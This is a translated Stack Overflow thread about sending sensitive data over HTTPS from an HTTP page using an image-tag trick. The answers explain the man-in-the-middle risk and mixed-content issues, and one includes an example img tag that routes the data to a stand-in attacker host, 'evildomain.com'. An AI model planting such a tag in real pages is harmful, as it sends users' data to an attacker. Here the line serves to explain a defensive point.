【问题标题】:http, https & ajax bypass, maybe?http、https 和 ajax 绕过,也许?
【发布时间】:2009-10-09 09:19:21
【问题描述】:

我有一个服务器脚本,我需要将数据从浏览器传递给而不重新加载页面(又名 ajax)。数据是敏感的,所以应该通过 https 发送。然而,该页面位于 http 层上。由于相同的域/协议限制,浏览器不允许这样做。

我正在考虑通过动态创建图像标签并使用src标签调用脚本来欺骗系统,例如:

<img src="https://mydomain.com/mysecurescript/&data=to&pass=to&my=script" />

我想知道这是否确实会正确加密。

【问题讨论】:

    标签: ajax http https cross-domain-policy


    【解决方案1】:

    问题在于,如果页面本身只是 HTTP,那么您很容易受到中间人攻击。攻击者只需修改通过 HTTP 发送的页面中的脚本,以便它使用:

    <img src="http://evildomain.com/evilproxyscript/&data=to&pass=to&my=script" />
    

    用户将不明智。为了解决这个问题,您确实也需要通过 HTTPS 提供页面 - 这同时巧妙地解决了您的其他问题。

    (这与登录表单应该在 HTTPS 页面上的原因完全相同,而不仅仅是表单操作是 HTTPS)。

    【讨论】:

    • 如果您需要 SSL 加密登录,您的整个网站应该在 https IMO 中。您已经拥有该设施,您不妨使用它。
    • 除非性能/缓存是一个问题,但它通常是这样。
    【解决方案2】:

    是和不是。

    URL 的服务器地址部分显然没有加密,因为它是用来建立连接的。

    其他所有内容在通过 HTTPS 连接发送时都会被加密。但是任何查看源代码的人显然都可以看到发布的数据。

    【讨论】:

      【解决方案3】:

      还值得一提的是,某些浏览器不会显示(或会在显示前警告用户)混合模式(http 与 https)HTML 页面。在某些情况下,这可能不起作用,因为用户选择阻止它。

      【讨论】:

        【解决方案4】:

        aSSL 可以替代图像技术(正如其他人所提到的,其缺点是混合模式内容不会被某些浏览器善意对待)。

        任何一种方法都会导致加密发生,并且两者都仍然容易受到中间人攻击。

        【讨论】:

          猜你喜欢
          • 2012-05-01
          • 2015-02-06
          • 2011-01-07
          • 1970-01-01
          • 2014-05-09
          • 2017-10-11
          • 2010-11-04
          • 2015-07-02
          相关资源
          最近更新 更多